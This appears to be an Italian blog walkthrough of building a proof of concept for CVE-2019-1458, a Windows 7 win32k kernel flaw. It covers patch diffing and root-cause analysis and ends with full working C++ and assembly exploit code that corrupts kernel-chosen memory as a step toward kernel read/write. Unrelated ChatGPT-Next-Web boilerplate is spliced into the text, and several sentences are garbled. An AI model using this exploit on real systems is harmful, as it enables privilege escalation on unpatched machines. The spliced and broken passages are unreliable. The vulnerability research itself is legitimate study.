
POC per cve-2019-1458
A dicembre Kaspersky ha pubblicato un post sul blog riguardante [l'exploit 0day usato in the wild][1]. Ha suscitato il mio interesse perché, sebbene abbiano descritto come funzionava l'exploit, non hanno fornito alcuna POC nella loro analisi.
Questo è il motivo per cui ho deciso di provare a scrivere una POC per questa vulnerabilità basandomi sul post di Kaspersky e sull'analisi della patch.
Questo post descrive il mio percorso in questa attività.
La prima cosa è stata raccogliere quante più informazioni possibili su questa vulnerabilità. Leggendo il post citato ho estratto le seguenti informazioni:
NtUserMessageCallwin32k!DrawSwitchWndHiliteOltre a questo c'è una bella schermata di codice decompilato che mostra alcune delle cose elencate in precedenza.
Per la precisione mostra: la creazione della finestra di commutazione, la chiamata a una funzione chiamata toggle_alt_key e numerose chiamate a NtUserMessageCall.
[Fonte dell'immagine][1]
Molte informazioni utili, ma non descrive ancora esattamente come funziona questa vulnerabilità e come attivarla.
[Il modulo interessato era win32k.sys][2]. Ho scaricato sia la versione patchata che quella non patchata di questo modulo.
Per Win7 x64 queste erano:
Possono essere scaricate dal [Microsoft Update Catalog][3]
Ecco il risultato del bindiff del confronto tra le due versioni

Dopo aver escluso le funzioni relative alla funzionalità DebugHook, ciò che ci resta davvero è questa funzione leggermente modificata InitFunctionTables()

Sicuramente non è la patch più grande in circolazione.
Questo non aiuta a identificare immediatamente la causa principale di questa vulnerabilità. Ma vale la pena notare che sono stati aggiunti alcuni valori iniziali per le variabili in
*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180). Quindi potrebbe essere un bug legato a una variabile non inizializzata.
In questa sezione presenterò come ho costruito progressivamente una POC che attiva questa vulnerabilità, capendo allo stesso tempo cosa fosse realmente la vulnerabilità.
Il diffing della patch non ha fornito molte informazioni utili all'inizio, quindi nella prima fase di sviluppo mi sono affidato soprattutto al post di Kaspersky.
Per avere un buon ambiente di test ho preparato una VM Win7 SP1 x64 con l'ultima versione vulnerabile di win32k in esecuzione. Inoltre ho collegato Windbg a questa VM per eseguire il debug del kernel e, nel farlo, ho anche configurato il percorso del symbol server.
Ho iniziato la mia indagine esaminando win32k!DrawSwitchWndHilite, menzionata nel post. Viene chiamata da due punti: xxxMoveSwitchWndHilite e xxxPaintSwitchWindow; quest'ultimo ha subito attirato la mia attenzione, per le chiamate circostanti a GetKeyState/GetAsyncKeyState menzionate nel report originale. Inoltre, queste chiamate verificano che il tasto ALT sia premuto.

Chiamata a DrawSwitchWndHilite da xxxPaintSwitchWindow
Seguendo ulteriormente i riferimenti incrociati delle chiamate (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite) ho scoperto che il primo elemento di questa catena è referenziato in InitFunctionTables, la funzione che è stata corretta dalla patch.
Poi ho esaminato NtUserMessageCall dalla schermata del codice decompilato.
Ecco la dichiarazione di questa funzione```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
L'exploit lo sta chiamando con `msg = 0x14` e `dwType = 0xE0`. Vediamo cosa fa.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
Qui ho registrato una semplice classe di finestra e ho creato una finestra di quella classe. Poi ho chiamato NtUserMessageCall con gli stessi parametri dell'exploit. Per vedere cosa succede sotto il cofano ho impostato un breakpoint kd> ba e 1 win32k!NtUserMessageCall ed eseguito il codice.
Ci sono parecchie chiamate a questa funzione, quindi ho dovuto individuare quella giusta, ma non è stato difficile: era quella con uno stack di chiamate davvero corto.

NtUserMessageCall
Procedendo passo passo nel codice si scopre che viene chiamata una funzione dall'array gapfnMessageCall; l'indice viene calcolato in base al valore di msg ed è uguale a 0, quindi la chiamata va a NtUserfnDWORD.

NtUserfnDWORD
La chiamata successiva viene effettuata usando il valore dwType; ora l'offset di gpsi è uguale a 0x40 e la chiamata porta a xxxWrapSwitchWndProc (questa funzione era già comparsa quando controllavo la catena di chiamate di DrawSwitchWndHilite).
xxxWrapSwitchWndProc chiama semplicemente xxxSwitchWndProc.

xxxSwitchWndProc
E qui finisce tutto: il codice fallisce, senza andare avanti fino a xxxPaintSwitchWindow, che è proprio il punto in cui vogliamo arrivare in base al valore di msg (0x14). Vediamo perché.
Il codice fallisce in questa fase perché, come evidenziato nell'immagine precedente, il fnid della nostra finestra non è uguale a 0x2A0 (FNID_SWITCH) e il messaggio che stiamo inviando non è uguale a 1, quindi finiamo in xxxDefWindowProc. Per evitare questo scenario dobbiamo chiamare xxxSwitchWndProc con fnid impostato a FNID_SWITCH, così da andare direttamente allo switch e successivamente a xxxPaintSwitchWindow.
Come impostare il fnid corretto? In realtà la stessa funzione lo fa nel primo blocco if: dobbiamo solo fallire tutti i controlli al suo interno per arrivare all'istruzione che imposta il fnid.
Ecco le condizioni che dobbiamo soddisfare per far fallire tutti e tre i controlli if:
fnid == 0 e cbwndExtra + 0x128 >= *(gpsi + 0x154)0 per ogni finestra utente appena creata.
*(gpsi+0x154) è uguale a 0 in win32k! non patchata. Ma anche se fosse impostato a 0x130, come nella versione patchata, potremmo impostare cbwndExtra ad almeno 8 e bypassare comunque il primo controllo.msg == 1NtUserMessageCall. Tuttavia, con msg impostato a 1, il flusso di controllo passa attraverso NtUserfnINLPCREATESTRUCT invece di NtUserfnDWORD, ma finisce comunque in xxxSwitchWndProc.Se tutte queste condizioni sono soddisfatte, il fnid della finestra verrà impostato a FNID_SWITCH.
Quindi ora dobbiamo chiamare NtUserMessageCall due volte: la prima con msg uguale a 1 per impostare il fnid desiderato, la seconda per raggiungere xxxPaintSwitchWindow.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
Ho aggiunto `extraData` alla classe della finestra e ho aggiunto una seconda chiamata a `NtUserMessageCall`. Ora il flusso di controllo riesce a raggiungere `xxxPaintSwitchWindow`.
(Nota a margine: `dwType` non deve necessariamente essere uguale a `0xE0`; `0` funziona altrettanto bene, dato che viene comunque sottoposto ad AND con `0x1F` in `NtUserfnDWORD`)

*`xxxPaintSwitchWindow`*
A un esame più attento ho notato che il valore `extraWndData` prelevato dall'oggetto finestra (riga 25) viene usato come puntatore su cui scrivere (righe 46-52)! Se riesco a raggiungere il codice che imposta `extraWndData` a un valore da me controllato, posso corrompere memoria arbitraria!
Per raggiungerlo devo prima superare qualche ulteriore controllo (contrassegnato in rosso)
- Controlla se la finestra ha il flag `WS_VISIBLE` impostato.
Questo flag può essere impostato in `CreateWindowEx`
- `fnid == 0x2A0` e `cbwndExtra + 0x128 == *(gpsi + 0x154)`
Fnid è già impostato dalla prima `NtUserMessageCall`.
Il problema sorge con la seconda parte di questo controllo perché `*(gpsi + 0x154)` non è inizializzato nel modulo `win32k` vulnerabile, quindi questo controllo fallirà sempre. A meno che non si imposti in qualche modo `*(gpsi+0x154)` al valore corretto. Si scopre che creare la speciale finestra di switch, menzionata nel post di Kaspersky, fa esattamente questo.
- Controlla che la finestra non sia distrutta.
Già soddisfatto in questo caso.
Per creare la speciale [finestra di switch][4], dobbiamo chiamare `CreateWindowEx` con nome impostato a `0x8003` (`#32771`). Questo porterà alla fine alla chiamata di `InternalRegisterClassEx` nel kernel.

*frammento della funzione `InternalRegisterClassEx`*
Questo inizializzerà `*(gpsi+0x154)` a `0x130`.
L'effetto collaterale è che una volta impostata questa variabile, non c'è modo di riportarla a 0. Quindi abbiamo una sola possibilità di eseguire l'exploit. Qualsiasi altro tentativo, fino al prossimo riavvio, fallirà.
### Controllo del valore dereferenziato
Ora sono in grado di controllare `extraWndData`, che viene successivamente dereferenziato come puntatore e su cui si scrive in `xxxPaintSwitchWindow`. `extraWndData` può essere controllato chiamando```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
Una cosa da tenere a mente è che questa chiamata deve essere effettuata dopo la prima chiamata a NtUserMessageCall, perché come mostrato xxxSwitchWndProc necessita che extraData della finestra sia impostato a 0 in questa prima chiamata, per bypassare i controlli necessari.
Inoltre SetWindowLongPtr deve essere invocato prima della creazione della finestra di switch, ed ecco perché:
frammento della funzione xxxSetWindowLong
È qui che facciamo effettivamente uso della variabile non inizializzata *(gpsi + 0x154).
Quando questo controllo passa, impostiamo wnd->extraData a un valore arbitrario.
Se fosse stata inizializzata correttamente, l'exploit fallirebbe qui.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
Ecco il risultato dell'esecuzione del codice sopra

Poco dopo otteniamo un bugcheck quando `rdi` viene dereferenziato.
Eseguendo lo stesso exploit su Windows patchato:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr fallisce con il codice di errore 0x585 a causa di *(gpsi + 0x154) correttamente inizializzato. E il kernel non va in crash.
Per riassumere, il problema principale era la variabile non inizializzata *(gpsi+0x154).
Ma cos'è questo valore, perché è importante?
gpsi è un puntatore globale alla struttura [tagSERVERINFO][5]. Questa struttura, tra le altre cose, descrive le finestre di sistema (ovvero menu, desktop, commutazione, ecc.), in contrapposizione alle finestre definite dall'utente.
Queste finestre di sistema sono identificate dal loro FNID, per esempio 0x2A0 indica la finestra di commutazione.
Quando la classe di finestra viene definita usando RegisterClassEx, abbiamo l'opportunità di specificare il campo cbWndExtra su WNDCLASSEX; questo campo descrive quanti byte extra saranno allocati in aggiunta alla struttura tagWND, per memorizzare alcune informazioni specifiche della finestra.
Possiamo quindi modificare quei byte extra usando SetWindowLongPtr.
Le finestre di sistema usano esattamente lo stesso meccanismo per memorizzare i dati aggiuntivi di cui necessitano per funzionare. Ma in linea di principio questi dati non dovrebbero essere raggiungibili tramite SetWindowLongPtr.
E abbiamo visto che in effetti c'è un controllo in xxxSetWindowLongPtr che dovrebbe impedirlo. Dopo aver applicato le informazioni sui tipi, questo è il controllo:```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
Array `gpsi->mpFnid_serverCBWndProc` descrive la dimensione del determinato oggetto finestra di sistema, inclusi i dati extra.
`*(gpsi+0x154)` diventa `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
Lasciando questo campo non inizializzato, `xxxSetWindowLongPtr` pensa che la dimensione dei dati extra sia `-sizeof(tagWND)`, quindi siamo in grado di scrivere in un campo che dovrebbe essere privato alla struttura della finestra di switch.
La causa principale di questa vulnerabilità era quindi una variabile non inizializzata (o meglio, inizializzata a 0 per impostazione predefinita) `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Questo spiega perché la patch fosse così piccola. Tutto ciò che doveva essere fatto era impostarla a `sizeof(tagWND) + 8`. Nello stesso modo, ora vengono inizializzati anche altri elementi dell'array `mpFnid_serverCBWndProc` che prima non lo erano (`FNID_DESKTOP`, `FNID_TOOLTIPS`), probabilmente per prevenire anche future varianti di questo exploit.

## Corrompere la memoria```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
L'ultimo passo per preparare questo POC sarebbe quindi innescare un crash più utile o, meglio ancora, riuscire a corrompere della memoria senza crashare affatto.
Per raggiungere questo ultimo obiettivo dobbiamo:
VirtualAlloc e passare il puntatore restituito a SetWindowLongPtrGetKeyState/GetAsyncKeyState in xxxPaintSwitchWindow che controllano se il tasto ALT è premuto. E se non è questo il caso, la funzione esce.GetKeyState o GetAsyncKeyState è decisa in base al flag in [extraWndData+6Ch].
Ho scelto di simulare la pressione di ALT usando una chiamata a SetKeyboardState. Questo funzionerà solo con GetKeyState, quindi devo impostare il valore all'offset 0x6C a `1````cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
Con questo codice ho ottenuto un crash diverso.```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
Quindi fornisco anche un puntatore valido all'offset 0x20 (che punta a se stesso)```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
Ora l'exploit funziona senza crash e, quando esaminiamo il contenuto della pagina allocata, possiamo vedere che è stata modificata!

Abbiamo ottenuto un POC di exploit stabile che corrompe la memoria che gli viene fornita. Questa è una situazione molto migliore rispetto a un POC che va in crash durante la lettura della memoria, perché questa corruzione arbitraria della memoria può essere trasformata più facilmente in lettura/scrittura arbitraria del kernel. Inoltre abbiamo già estratto i requisiti che la memoria da corrompere deve soddisfare.
## Conclusione
In questa walkthrough ho mostrato come sono passato dalla descrizione dell'exploit e della vulnerabilità a un POC funzionante che può essere trasformato in un utile exploit del kernel.
Questo è stato un exploit piuttosto interessante, reso possibile da una sola riga mancante. Quindi immagino che la lezione sia: inizializza sempre le tue variabili globali.
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
Disclaimer: Questo progetto è destinato esclusivamente a scopi di apprendimento e comunicazione. Il codice e i materiali contenuti in questo progetto sono forniti solo a scopo di riferimento e qualsiasi perdita causata dall'utilizzo di questo progetto non è correlata al progetto né allo sviluppatore. Il diritto di interpretazione finale di questo progetto appartiene allo sviluppatore.
Se sei interessato a contribuire a ChatGPT-Next-Web, leggi la guida ai contributi e consulta l'elenco dei problemi.
Grazie a tutti gli sviluppatori che hanno contribuito a ChatGPT-Next-Web.
Se ritieni che questo progetto ti sia utile, considera di fare una donazione per sostenere lo sviluppatore.
```asm
_DATA SEGMENT
_DATA ENDS
_TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
extraData == 0cbwndExtra. ExtraData viene aggiunto subito dopo la struttura tagWND (ho aggiunto questo campo alla struttura tagWND in IDA come QWORD all'offset sizeof(tagWND), per rendere il codice decompilato un po' più leggibile). Il suo valore può essere impostato con una chiamata a SetWindowLongPtr.